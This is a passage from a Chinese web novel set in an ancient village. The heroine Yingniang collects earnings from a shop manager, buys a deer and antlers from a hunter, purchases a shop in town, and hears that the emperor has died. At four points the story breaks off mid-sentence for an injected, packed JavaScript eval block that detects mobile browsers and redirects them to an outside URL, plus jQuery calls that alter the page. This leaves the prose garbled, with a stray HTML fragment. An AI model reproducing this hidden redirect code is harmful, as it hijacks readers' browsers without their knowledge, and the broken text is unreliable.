小童最是能辫其人目光，玥娘虽有些羞赫，却也甜甜地叫了一声“章叔”。 章文德登时乐得大笑，竟是随手摸了一枚约摸一两重、做工极其精细的小银鱼递给玥娘，“玥娘今日来得巧，这小物便拿去耍吧。” 云氏脸色一变，敢要推拒，瑛娘却先替玥娘接了下来。 “章叔客气。玥娘，还不快谢谢章叔？” 玥娘看了看云氏，又看了看瑛娘和章文德，终是笑弯了眼，接过小银鱼，甜甜地道了声谢。 “这就对了！我视瑛娘如本家侄女儿，汪家嫂子实在无需与我太过客气。且这一年来，你们一家为我东家带来的盈收就占了我这铺子盈利的一多半，我还盼着往后能与你们合作更密切才好。” 章文德所言不差。 香露利高，除开最初所售七十九瓶槐花香露，余下的香露皆以金计，全部售往府城，叫章文德东家足足赚了四百三十六两金并四百九十三两银。 时下一金可兑二十一两银，也就是说仅香露一项，章文德东家就挣了近万两银。 除了此项，颜料外售受欢迎程度也不遑多让，瑛娘第一年拢共交付二千三百扣，商队以双倍价格售出，得利足足二千零六十两，虽比不得香露，却也算得一项暴利盈收。 此外，为徐氏代销的茶枯皂也叫商队全拉去了江南之地，五千枚皂本金四十五两，售出即得二百 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15030195|158875||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 二十几两。 三项合利近一万二千两银，章文德算首功，得了东家赏银二百两。 需知章文德月银不过二十两银，这一轮赏就抵他近两年的工钱，再见瑛娘，他如何能把持心态平稳？ 也就前头帮忙引荐汪文、汪武时铺中年账未能清算好，不然过年时好歹得备上一桌好酒好菜招待瑛娘才算得体。 章文德越看瑛娘越亲，顾不得她双亲在场，便与她攀谈起来，“瑛娘却是几月未入城来，家里头可是琢磨出什么新鲜儿了？” 瑛娘两手一摊，“打从过完年起便忙活到现在，便是两个哥哥都来不及关心，好歹把四色颜料给备齐了，不然今日可得叫章叔空等了。” “是了！是了！春日里事多，你又得了几亩地，是该忙活起来。” 昨年地契加印，瑛娘可没背着章文德，听他说破也只笑笑了事，转言道：“今日我爹也算来认了门了，七月底白玉堂便由我爹来送，待得十月底交付桂花时，我再带点儿新鲜东西来叫章叔掌眼。” 章文德可不嫌新鲜多，闻言一抚掌，连道三声“好”，转眼又见刚搬完货的汪点柱面红耳赤，当即一揖，与他客气道：“叫汪老哥受累了，咱们只当兄弟往来，下回可别再这般客气了。” 汪点柱连连摆手，支支吾吾，却是说不出一句完整的客套话来。 在场倒是没人嫌弃他这副样子，客气过，章文德便支使伙计取来了早就备好的银箱子，“一百两元宝十锭，五十两五锭，另有十九两零碎，瑛娘点个数？” 银箱子重得坠手，瑛娘只开箱看了一眼便转手交给汪点柱抱住，“今日便不多打扰章叔了，还请与我十斤石灰、五斤白善土、十斤白矾、十坛山茶油，一会儿去别地儿采买过还得往家赶。” “成。” 瑛娘需用之物合计十两银并五百文，章文德懒得与她清算，便只收了十两，只叫她也无需算得那般清楚。 “近来铺子里上了些新糖，你拿些回去甜嘴。” 如此让利瑛娘自然不会多推脱，笑着接过油包，谢过章文德才带着汪点柱、云氏与玥娘出了铺子。 汪点柱抱得住箩筐，再抱银箱子却止不住双臂颤抖，云氏怕他把银子抖落到地上去，搀了他一把，只待上了骡车便夺过银箱子交回与瑛娘。 “箱子收好，大柱赶紧赶车去三弟的铺子。” 瑛娘还需去坊市送香露与戴娘子，云氏却不放心整车带着银箱子过市，只把汪点柱赶去三房的面铺子里帮忙，才拉着瑛娘去了后院，好叫她背开人眼将银箱子收起来。 瑛娘本就要送口脂与方氏，依言便借口避开今日恰好闲在铺子里的方氏，收了银箱子，却又从随身的钱袋子里摸出一把碎银递给云氏。 “今日便多买些布，给娘、爹和妹妹也各做两身新衣。” 云氏张口要拒绝，却见瑛娘昨年才制的新衣此时上身竟有些不合体了，心头一软，便接过了银钱，嗔道：“哪需用恁多钱？难道你是想穿丝绢的衣裳不成？” “真叫娘看准了！夏日穿丝绢更凉爽，得做四身才够换的。” “……” 43. 甜乳 云氏自然不赞同瑛娘这般抛洒的穿法，可惜说不过瑛娘的犟嘴，终是花去五两买来四匹丝绢、七匹棉绢。 “你爹不值当穿丝绢，夏衣、秋衣也还有两身体面的，便只给他一匹棉绢缝一身冬衣就成。” 瑛娘昨年的衣裳穿着都有些紧巴，余下六匹棉绢云氏打算都拿来裁成她穿的秋衣和冬衣，四匹丝绢则拿来裁她们娘仨的夏衣。 一匹丝绢能裁两身夏衣，瑛娘要四身换洗，云氏只要两身，而玥娘身量小，一匹丝绢紧巴巴能裁出三身。 瑛娘这才点头，绝了再掏钱的心思，“那娘帮我裁几件样式，这回就不染色了。” “成。” 买过布，瑛娘又带着云氏和玥娘顺道与戴娘子送去了这一季的香露。 戴娘子如今也是靠着这香露的名头风光了一番，算着日子早早便备下了这回要送与瑛娘的香膏，见她竟还带了亲眷，也没抠搜，直接另取了一扣新的塞给云氏。 云氏哪好意思平白受人惠赠，两人推脱了一番，瑛娘索性拉住云氏，顺手把刚得的一两碎银还给了戴娘子。 “戴娘子下回莫再这般客气了！香露既定好了每季与你一瓶，家中长辈便不会轻易食言断了往来，戴娘子只管安心。今日这两扣香膏便算戴娘子让利与我们买的。” 心思被戳破，戴娘子一时有些脸热，嗫嚅半晌，却只说出了一句“谢”。 瑛娘不欲多言，摆了摆手，母女三人辞别戴娘子，一路穿过坊市回到了东市。 坊市多贵，玥娘不敢乱跑，回了东市才重新活泼起来，途径点心铺子，却是馋得摇了摇云氏的手，指着外头揽客的点心样子就要云氏进去买。 手头宽裕，云氏自也不愿叫女儿亏着嘴，只是她不如瑛娘舍得，只允她挑了两样最爱吃的蜜饯果子拼成一笼。 一笼果子一百二十文，云氏给得痛快，没叫瑛娘再掏钱来。 玥娘却是有吃万事不愁，喜滋滋的咬着果子，随着瑛娘与云氏逛回了三房的面铺子门前。 面铺子正当热闹时，汪点柱也在堂里忙得团团转，云氏不欲进去给三房帮手，索性带着一双女儿找了处外摊坐着吃甜饮。 这外摊是新开的糖水铺子支的，时下鲜果子不多，这糖水铺子的甜饮子便多是蜜水、糖水冲调的干果茶饮，小小一碗需得五文钱。 云氏点了一碗梅干茶与玥娘共饮，瑛娘却盯上了铺子里限量供应的甜乳。 纯白的鲜乳烧开加糖，喝起来口感有些绵密，但火候不对，奶腥未除，云氏浅尝了一口就不肯再喝。 “这是什么？” 不待瑛娘解释，正巧端茶来的店家先开了口，“这是打府城来的牛乳，每日只得二十碗，不然也卖不出五十文一碗的贵价。” 五十文一碗也就喝个六、七口，这日来的要是徐氏，便是瑛娘如何歪缠她也是点不下这个头的。 玥娘一听这甜乳值当五十个钱，登时也来了兴趣，就着瑛娘的手喝了一小口，却是喜得瞪大了眼睛，忍不住又喝了一满口。 “好喝！” 云氏忍俊不禁，索性今日带了多的钱来，便又叫店家煮了一碗来。 “娘真好！我最喜欢娘了！” “叫你这么说，给你买新布、开工钱、封红封的姐姐却是不够好咯？” 玥娘微赧，连忙捂住嘴摇头，“姐姐也好！我也最喜欢姐姐了！” 瑛娘这才一笑，正欲嗔她几句，却见面铺子门口来了一辆驮着一头生鹿的骡车，再仔细一看，驾车的却是昨年取了她十文定钱却消失了数月的曾猎户！ “娘，你与妹妹在这儿坐着别走动，我去去就来。” 几月未见，曾猎户身形瘦削了不少，细看脸色、唇色都不正常，像是大病初愈、气血不足的虚症。 见瑛娘突然自店外出现，曾猎户也是一惊，随即面露愧色，掏出来十文钱支吾着退还与她，“实在愧对小娘子，昨年入山不慎受了重伤，家中只有一孱弱娘子及患腿疾的妻弟，没能及时知会，眼下怕也是暂时进不得深山了……” 话语间曾猎户目光清正，瑛娘辨出他所言非假，便抬手接过退回的定钱，好叫他安心，“曾阿叔伤势都好全了吧？” 曾猎户果然长舒了一口气，苍白的脸上带上了一抹笑，“好了，只是一时半会儿进不得山，还需再养养。” 他是六月进的山，因着遇了鹿群，便盯上了一头稍稍落后的母鹿。 可惜当时他没注意那鹿群里有正值繁殖期的公鹿，也未料到那公鹿会回返，搏斗之间虽重伤两头鹿，他自身却也被鹿角顶穿了腹部，幸亏山腹之中不缺珍奇药草，止过血后，又生啃了几条野参须才得以撑到下山求医。 两头鹿受了重伤无法奋力挣扎，倒也被他一路拖出了山腹。 妻弟叫来赤脚大夫替他处置伤口，安抚过姐姐才得空寻去藏匿对鹿的山坳，可惜公鹿恢复了些，实在闹腾得厉害，只能杀了熏干留着自家慢慢吃，母鹿倒是好水好料的养活了过来，待得今日进城才杀了新鲜儿。 鹿血也是极滋补的珍品，曾猎户带来的母鹿并未割喉放血，瑛娘看得眼神灼灼，便试探着问价，“曾阿叔，这鹿可定出去了？卖得多少银？” “约摸值当四十两银吧。今日我来得晚，还未来得及去坊市寻富户售卖，小娘子是识得有意买鹿的人家么？” 四十两一头鹿也算不得多贵。 瑛娘有意买鹿，思及那头繁殖期的公鹿，又多嘴问了问：“昨年杀的那头鹿鹿角可还在曾阿叔家中？” “在。那片鹿林常有公鹿换下的鹿角，往年我会捡来卖与药铺，一对鹿角十五两。昨年换角季我却是在家养伤，因而只存了两副，还未来得及带来城头。” 药铺所售鹿角皆作药用，此前瑛娘询过价，一两鹿角计五两银。 而一副自然褪换的鹿角通常重十四斤至十八斤，也就是说药铺收入鹿角，出手就能盈利六七百两。 “曾阿叔，一副角我能出价二十两，若你未与药铺说定，昨年的两副角可否卖与我？这头母鹿我也要。” 山中收成不定，除了珍奇好卖，曾猎户也无稳定的客源，加之养伤十月余，早前混熟的脸面多半也得再花些精力维系，因而这回与谁买卖都无甚大碍，他也只顿了一瞬，便点头应下了瑛娘。 “还请小娘子等上一等，我这就回家去取鹿角来，需得两个时辰。” 今日得闲，便是等上两个时辰也才未时末，瑛娘没意见，却是先付了母鹿的四十两，只待曾猎户取来了鹿角再结鹿角钱。 曾猎户面上微赧，却也没推辞，闷声帮着把鹿扛进了面铺子，才在一众惊讶的注视下匆忙驱车离去。 这头鹿瑛娘打算拿回家吃，但三房只汪点书在家头帮忙打理田地，陈氏又惯会 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15034245|158875||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 说闲话，瑛娘只得叫汪点柱把鹿搬到后院扒皮分块，分了一条前腿与陈氏，好叫她晚间闲时烧来三人吃。 前腿肉不比后腿丰腴，不过这等金贵的好肉本就只为吃个鲜，陈氏乐得直叫瑛娘好，等得堂中食客催促起来才丢开瑛娘正经忙活去了。 要在城头等上两个时辰，待得汪点柱庖好鹿，瑛娘便叫他洗好手与她们一行去外头寻个饭馆吃饭。 饭馆不比酒楼，但胜在滋味不错、价格也算公道，一桌子好肉好菜也不过三百多文。 汪点柱何时这般抛洒过？难免心生负罪感。 云氏了解他，索性又掏了钱来叫店家备了两份好肉，以便带回家叫汪木匠和徐氏尝尝鲜。 吃过饭却也还早。 汪点柱闷着脑袋在堂中帮手，云氏却在三房的地界儿待得不自在。 见她颇有些无所适从，瑛娘便拉了她与玥娘离了面铺子去外头闲逛，甫一出门，云氏面上就露了松快。 “娘可有什么想买的？” 家中一应嚼用皆有公中开销，云氏顶多自备些针线，因而一路逛过，却是什么都有、什么都不需得她掏钱来买。 听得瑛娘发问，云氏便知她这是手头有钱捏不住，当即嗔了她一眼，“问我作甚？你便是再想买个什么，难不成娘还能拉得住你？” 瑛娘确是想买些牛乳回去喝着滋养，闻言亦是坦然，“可惜牛乳不经放，不然多买些，夏日里也能制些冰来做酥山。” 云氏哪知“酥山”为何物，左不过带冰的东西都是富贵人家才用得上的，闻言瞪了瑛娘一眼，收起了笑，懒得再听她歪缠。 瑛娘讪笑着推了一下看热闹不嫌事大的玥娘，心道做不成牛乳，熬些山果酱汁来做也成，总归药铺就能买到芒硝，只制冰自用也不需得多少本钱。 东市虽不大，一通逛下来却也有些费劲，尤其玥娘这等年纪的孩童不喜漫无目的的闲逛，只待逛至农集，玥娘便吵着要歇脚了。 云氏倒是想抱着玥娘回面铺子去歇，可惜身体不济，登时有些无措。 正待瑛娘开口之际，中人屋舍却是出来了一位熟人。 “瑛娘！许久未见啊！今日这是携家眷到城头来采买么？” “牛二叔。” 牛二大笑着上前，见瑛娘身侧还站着云氏和玥娘，抱拳一揖，热情招呼三人进屋舍歇脚。 玥娘倒是不怕生，不待云氏阻拦，小跑至瑛娘身侧，细声问候过牛二，才抓着她的手摇了摇，面含恳求，以期能进屋舍去歇一歇。 中人屋舍中不止外男行走，云氏见堂中有几位面目和善的同龄娘子在，便也没多阻拦，随着两姊妹进了屋舍。 进了屋舍，其他中人难免好奇三人身份。 “牛二，这是来看铺子还是宅子的客人啊？” 中人手中捏着的房源不尽相同，有客上门自然各显神通。 牛二端了茶水来招待，听得同行打趣，抬手就要赶人。 不料瑛娘虽避过那人不理，转头却小声问他：“牛二叔手里可有外售的铺子？” “瑛娘还真要买铺子？” “是呀，还请牛二叔与我说说铺子。” 云氏同样觉得不可思议，不过想来瑛娘手头也有不少银钱，买铺子也算置产，便未出声阻挠。 见她表情不似作假，牛二才笑着介绍起自己手头的铺子。 44. 置产 丰县东、西两市自成一派，其中商铺也有三六九等之分。 西市商铺瑛娘暂时无法匹及，牛二便只与她介绍了东市商铺。 东市之中，人气旺盛的上佳地段，门庭一丈、进深三丈的普通铺子就得卖上三百两银，这等铺子前头可接人纳物，最里处也能隔出一个小间儿供平日歇脚，喊价四百两银算不得虚高。 次一些的位置，铺面进深不长，相邻商户也多，但这类商铺多带适居的独院，胜在门庭阔宽半丈，适宜独门独户的小商户一家子营生，因而卖价比前者还要高些，牛二手头那一处就叫铺主喊到了五百两银的高价。 再差些的就是市尾临近农集的“窄面儿”，进深只足一丈，门庭也只八尺，若要做个什么吃食买卖，还得像那老两口支的茶摊子那般占用外头的地界才落得下脚，这类商铺属实不适用，也就靠后头的院子抬抬价，卖得三百八十两银。 三房面铺子便属于次一些的独院商铺，租赁月需三两银，若买下来收租，赁个十四年也能收回本钱。 说来也巧，牛二手头这铺子正好与面铺子相邻，地段属实算好。 “五百两可有少？” 牛二一听瑛娘属意于此，登时高兴非常，不过那铺主不是那等好说话的主儿，他也不好与瑛娘夸口，只老实道：“五百两是一口价，不过里头装潢都还算新，院子里也有一口甜水井，不管自用亦或赁出去都不得吃亏。” 东市的铺子不比西市的紧俏，但若想买个如意的也难。 “那请牛二叔帮忙引见铺主，若能今日定下最好。” “……”牛二没料到瑛娘如此爽快，错眼去看云氏，见她面无异色，心知这单买卖多半能成，登时露出喜色，“瑛娘等我一等，我这就去找铺主来。” 东市的铺主多是城中小富的商户，牛二很快便寻了人来。 此人亦是爽快，以为买铺子的是云氏，见面便与她确认是否，听得商铺过户签署瑛娘姓名才露出惊疑。 不过铺子卖给谁都是卖，铺主不欲之后再有牵扯，索性领着瑛娘母女三人去铺面看过，才叫牛二开据中人介书，好拿了地契同去户所加印过户。 确定要买铺子，瑛娘便借口去取现银，约定户所外汇合，先带着云氏与玥娘先回了三房的面铺子。 玥娘懵懂，只知以银计算的都是贵价，一路上顾不得喊累，咬着指尖时不时盯上瑛娘一眼。 瑛娘看得好笑，点了点她的脸窝，道：“玥娘想不想要个铺子？” 云氏嗔了瑛娘一眼，也伸手点了一下她的额角，“别叫你妹妹养大了心，不然来日真叫你贴补她一个铺子，看你如何好说！” “便是真贴补亦未不可。” 瑛娘琢磨着那五百两的铺子还是先赁出去，等回头抽空试着做一做酥山，再来买个三百八十两的铺子记在云氏名下做冰饮的买卖也不错。 不过东市人群多为丰县普通住户与十里八村的农户，真做冰饮也得先考虑过定价才好。 云氏却只当她是胡道，回了面铺子便把玥娘丢给了方氏，“蕙娘且帮我带一带玥娘，我与瑛娘还有些事要办。” 方氏不喜油污，闲在铺子里帮不上手，见玥娘打起了呵欠，便乐呵呵的拉着玥娘，准备带她去自个儿屋里小憩，“婶婶和七妹只管忙去，我先哄八妹妹眯个晌。” 五百两银可不好随身带，瑛娘取了元宝放入背篓也难负重，索性牵走了骡车，一路驱车行至户所。 双方面交现银，商铺过户自也无需耗时多久，待得加印的新契过手，牛二也得了铺主结与他的五两中人费。 瑛娘本欲再给他一份谢银，牛二却是如何也不肯收，推来推去不甚好看，瑛娘便也不多客气，收回了碎银，又问及先头租过的院子。 “如那般大小的院子约摸需得多少银钱才置办得来？” “甜井巷的院子贵价，像那般僻静的独户少说得要八百两银。” 丰县坊市也分四域，一为官吏出没的晏公坊，院落要价常在一千两至一千五百两区间，二为甜井巷，常住城中富户，要价六百至八百不等，三为木杓巷，穿行两刻即可抵达潭徽书院，常为书院学子租住，因而要价五百至七百两一宅，四为竹马巷，是城中普通居民住所，要价常在三百到四百两之间。 瑛娘昨年租用的院子胜在地处幽静、占地面广，因而在甜井巷一众院落中算得上等，要价也是往高了去。 以瑛娘目前的财力而言，八百两的院子她也买得起，可惜甜井巷院子紧俏，便是她想买也没人愿卖。 能卖出一个商铺已是意外之喜，牛二未劝瑛娘再看别处的院子，告别瑛娘便独自个儿回了中人屋舍。 等人走远，云氏才与瑛娘说笑，道：“一个铺子不够你折腾的？” “铺子买来多半也是赁出去叫别人折腾，买了院子咱们进城来还有个歇脚的。” 置产的意义重在保值，瑛娘不信时下的银号，丰裕的银钱自然是以现银或地契的形式存放更为稳妥。 云氏心绪难言，一时倒没说置产好坏，只道：“你奶能同意你进城买院子？三房、四房如此，你若再进了城，又与分家何异？” 瑛娘无声一笑，未置可否。 世人信奉无子便是绝嗣，便是后世也常道“子孙后代”，半数之人仍以男子为尊，而老汪家一众不过亦是芸芸众生之辈，逼迫“汪瑛”换亲者，如徐氏、如陈氏，结合世情亦无甚大错，若她一来此世便因“汪瑛”被换亲的委屈叫嚷着要分家，别说汪木匠与徐氏不肯，就是其生身父亲汪点柱也不见得乐意。 瑛娘自然有法强令汪木匠点头分家，可如此一来，她之作为只会让世人批判她不孝不悌。 聪明之人迂回以治，而瑛娘最不缺的便是迂回之法。 穷困令人面目可憎，她便以金银侵蚀破壁。 时至今日，老汪家二房、四房已然分户处之，汪木匠与徐氏、二房也皆以她之所言为向，能存私房、能置私产，如此不也类同于分家之效？ 自然，眼下她也没得入城常住的打算，毕竟时不时还需家中老小帮手，亦需村人摘花取叶，若真进了城，仅凭她己身之力可抻展不开。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15037937|158875||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>母女二人驾着骡车缓行，顺道又买了十五副口脂药包才回到面铺子，满堂忙碌，无一人知晓瑛娘仓里又多藏了一张邻铺的地契。 未时过半，面铺子里也过了最忙的时刻。 陈氏与汪辰都堪堪歇了歇气，只叫伙计收拾食客吃尽的碗筷，汪点柱自然也歇了下来。 见母女三人归来，汪点柱简单擦洗过汗水、油污，便由着云氏支使搬了装着鹿肉的大瓮和布匹装车。 陈氏本是好奇云氏进城的目的，待得见识到那满车贵价儿新布，登时忍不住酸道：“咱们家里头还属瑛娘最出息，从前谁敢想如今能够这般大手脚的花用啊？” 方氏一听便觉不好，当即推了一把汪辰。 汪辰也被陈氏酸得吸了口气，即刻会意，上前推着陈氏回了灶间，“娘呀！快备浇头吧！歇会儿又该忙起来了！” 挣钱为大，陈氏不好再弯酸，“哼”了一声便持刀剁肉开始备菜。 打从这面铺子支展开，先前所用浇头却是不太够看了，汪辰与岳家说定每日多供些好肉与舅爷家卤制，另又拿了些肉来用酸菜酿成咸香的新浇头。 除开这些猪肉、猪下水，鸡丝、兔肉也多备了一半，这才供应得上每日食客所用。 没了陈氏多话，堂中气氛自然好了许多。 不过云氏与汪点柱都不是爱与小辈说道的性子，两人只管闲坐，只被问及时才吱应个声儿，如此，个把时辰也不难耗过。 未时末，曾猎户如约而至。 见瑛娘还在铺子里等着，曾猎户委实松了一口气，见堂中无客，便靠边停好车，抱了两副鹿角入店。 这两副鹿角合计三十来斤，约摸能出六斤胶，四十两银买来很是值当。 瑛娘早早备好了银锭，查验过便取了来交给曾猎户，“曾阿叔安心养好身体，待得换角季若有幸再寻得鹿角，还请再与我留用。” 曾猎户敢于卖命，早年从师便攒下了不少积蓄，之后筑成新屋，又娶得良妻，期间开销不少，但也就这回重伤内腑才将存银耗去多半。 今日幸于重逢瑛娘，平白多挣了十两银，眼下听得瑛娘口头下定，曾猎户便极热情地应下，“成。今次进城本也是为买药而来，再养四、五个月气血身体便能大好，鹿角都是腊月才能拾取，不知小娘子还需不需用猕猴桃藤？若是需用，农忙后我便多砍些来。” 瑛娘正欲拒绝，忽而想到再过几日便是“汪瑛”十三岁生辰，若是养得精细，怕是等不到及笄便要初潮。 时下女子常用的月事带是粗布加草木灰的制式，闷热、潮湿不说，吸水性也不见得多好，如此，必备的东西还得早做打算才好。 “除了猕猴桃藤，还得劳烦曾阿叔家中妻弟再费费心，昨年的竹编细筛很是好用，若竹骨还能再细些，且编制成一尺宽、二尺宽的方筛与我。筛目越多越好，竹骨不可带结。” 曾猎户不懂竹编，默了几遍瑛娘的诉求，记熟以待回家学给妻弟听。 “不管成不成，十月底我都会再进城来与你传信。” “多谢曾阿叔。” 45. 永兴 五月生辰将过，瑛娘便又忙活了起来。 鹿角切割不易，只得叫汪木匠拿出早年养家的老东西来拉锯，切得二指宽的角块，活浸七日，撇去血水再经熬煮，熬煮七次最佳，整合胶液滤去杂质，入模凝固切块，静待三日阴干即可分装。 鹿角胶澄澈清透，数六胶之最，无论工用、药用效用都是极佳。 不过当真用起来这六斤鹿胶也用不了许久，毕竟一斤好墨半斤胶，投入制造，成本就得剧增。 存好鹿胶，前头收到的干鳔也得泡制过熬成胶存。 这头还未忙过，村头又陆续有人送来今年的白玉堂，不出半月便已超出一百瓶香露的用量，瑛娘索性尽数收下，趁着得闲一气制得四百瓶来。 如此忙过五月，瑛娘也穿上了云氏新裁的夏衣，心头舒快之余，便又清点起昨年收拢的干栀与干茜。 干栀出色好，昨年存备足足两千斤，四月里交付三百扣，余下的干栀若全数制成栀黄还能得二千三百来扣，这量远超未来几年用量，瑛娘便筛去了一些成色不算优越的，只取其中半数来制了一千二百扣。 而干茜出色率低，四十斤只能取得茜色十扣，前头茜红、茜粉各出三百，仓内余量便只能制得百来扣单色，不过茜草根四季皆可寻，秋收前村人还抽得出闲来帮手，瑛娘便出了高价，好叫村人上山挖些生根来以备取色。 待得几千扣颜料制成，秋收竟也匆匆进入尾声。 二房夫妻近半年来都望着瑛娘的五亩地，眼下收成过，便忙不迭打了胡麻来称重，还不忘帮着瑛娘淘洗了落花生晒在檐廊下，只待瑛娘忙过，一声令下即可动手摇油。 若非二人见天在眼前晃荡，瑛娘还真忙忘了先头的与二房的承诺，好歹收好了颜料歇了一日，又查验过落花生与胡麻的亩产，才叫汪点德去请汪木匠来帮忙打些用具。 批制香油可不似瑛娘昨年取那两斤那般简单，需得制得联排的摇椅，辅以踏碓制式的总控才好省力。 汪木匠依着瑛娘所绘图纸打了一排五联摇椅，瑛娘试过力道，才取了十斤胡麻来教汪点德炒制、磨砂以备取油。 水油分离法取油简单，汪点德学着做了一回便得了要领，兴盎然与瑛娘结银，未料瑛娘却是不收，只问他想不想来年挣得更多些。 “二叔若想来年挣得更多，不若先静下心来听听我的意见。” 汪点德自然想得要命！ 打从家里得了几门营生法门，汪点德才知自家挣钱自家用是多爽心的事儿，制油利厚，便是与公中平分，他二房也能挣得盆满钵满，眼下瑛娘还能叫他再多挣些，汪点德如何能抑制心动？ “瑛娘快快说罢！别叫二叔干着急！” “这胡麻先说定价十文一斤，眼下一算却是不成，故而打算将价提至二十五文……” “啥？！自家亲叔侄，怎的还半道提价的！” 话被打断，瑛娘便只面无神情地与汪点德对视。 汪点德心中不满，一经对视却莫名有些气短，待得心绪稍稍平复，才听瑛娘继续道来。 “家中仅有四十亩田地，一年产出只够我们一家子整年吃用。单我那五亩地能供给二叔多少？来年五亩全种上，顶天了也只够二叔制得一百二十来斤油，这其中还得留下来年所需的四斤种，二叔算算，这一年到头只挣个三十几贯到底合不合算。” 三十几贯单听着多，真用起来却是算不得什么。 何况这其中一半还得交与公中，分下来十几贯，指不定还不够汪连今后在外交际同窗的花用，更妄论长子膝下还有长孙，待得双亲百年，这副重担可没人再帮他二房担着。 “那瑛娘的意思是……” “除开二叔今年制油所费，我手头还剩五十斤生胡麻，可卖与同村相邻，叫他们单出一两亩地来帮种。如此亩产六十斤，种个两亩便能得三贯钱，以今年田地均产三百三十斤为准，持有三十亩地的人家，只需种这两亩胡麻的进账便足够他们以银代粮交够地税，经复一年，自然多的是人愿意帮二叔种收胡麻。” 汪点德算账算得头晕脑胀，不过理顺了思路，倒是明白了瑛娘话中隐意。 这两年老汪家在十里八村着实显眼，同村的友邻早有言语说不尽，只是昨年地税增收，菽乳买卖停了，大家伙儿又打瑛娘手头得了实惠，这才暂时压下了诸多杂念。 日子得过，待得村人缓过劲儿来，早前积累的情绪多半会井喷，但若在此之际拿出胡麻种来，叫整村儿的人都看到实打实的进账…… 毕竟老实种粮，一亩地产也不过一贯钱，而一亩胡麻却能得足足一千五百文，如此实惠，再多的怨怼也能生压下去！ 汪点德喜色上脸，恨不能拍烂双掌与瑛娘叫好。 “二叔先别高兴过早，村人不见得咱家一说就愿意舍出田地来帮种，最好先与村正商量好再行事。” 汪点德不甚在意地一摆手，“嗐”叹一声，自信道：“村正与咱家亲近，只要叫他知晓种着胡麻的好处，他指定能同意。” 瑛娘但笑不语，只叫汪点德自个儿看着去办。 村正甫一听舍地改种胡麻却是当即反对。 汪点德正待与他细说，却听得一阵快马马蹄震得墙面直落土灰，吓得一懵，再看村正也变了脸色。 两人跑出屋子，却见村人闻声聚集，那骑马的差役扫视过人群，才扬声道：“天不假年，先帝于元守四十八年夏驾崩，兹告天下。前有诚王聪慧仁德，深谙治国之道，即刻领圣命继位，改年号永兴，三十日内禁行嫁娶，望众周知。” 皇帝驾崩，需得八百里加急通报，而大王村距盛京千里之远，便是快马加鞭，也得三日余才能抵达。 于村人而言，高位之人还不如地头收成重要，倒是听得熟悉的“诚王”，登时面面相觑。 村人如此，村正却不能不稳，见差役通告完，连忙摸了几锭碎银上前躬身塞到他手中，“差爷辛苦，还请吃个茶再回盛京复命。” 差役神情淡淡，暗自掂了掂重量才满意地“嗯”了一声，扬了扬缰绳，待村正退开，才扬鞭疾驰而去。 诚王继位便称永兴帝，村正忧心这位帝王不会叫农户好过，思及汪点德提议胡麻事宜，却再生不出半点儿拒绝之意。 大王村六十八户，田地合计两千亩，地税三十取三，整村需得上缴五百五十石生稻或生麦，若以银代，需得一百九十八贯钱。 若以胡 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15044312|158875||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 麻换钱，倒是只需腾出一百三十二亩地来种，余下的田地只管正经种粮，若无天灾，地产足够各家整年嚼用。 就是不知老汪家能不能吃得下百多亩地产出的胡麻…… “德子随我进屋再谈。” 听得村正顾忌，汪点德却是觉得自家能吃得下。 七、八千斤生胡麻，按瑛娘算法顶天儿也只能得个三千出头的油，油是好油，这般重量在城头该是随便一卖就能销掉，若油香能讨富户喜欢，指不定三千多斤还嫌不够！ “只是吧……瑛娘手头只有五十来斤胡麻种，下一季只够种个六十来亩，她还得给自个儿那五亩地留些种，能分给村里的就更少了。” 种不够确是个问题。 村正眉头紧蹙，转念一想，却是算出了汪点德手头的存备。 “你那两百斤也不够买卖，不若今年便先舍些给村头做种，待来年再铺开摊子做这门营生？” “……”汪点德瞠目结舌，险些没忍住大骂村正死不要脸。 那可是二百斤胡麻！再少也是八十斤油了！叫瑛娘拿去杂货铺子代销，出手就能得利十九贯钱！ 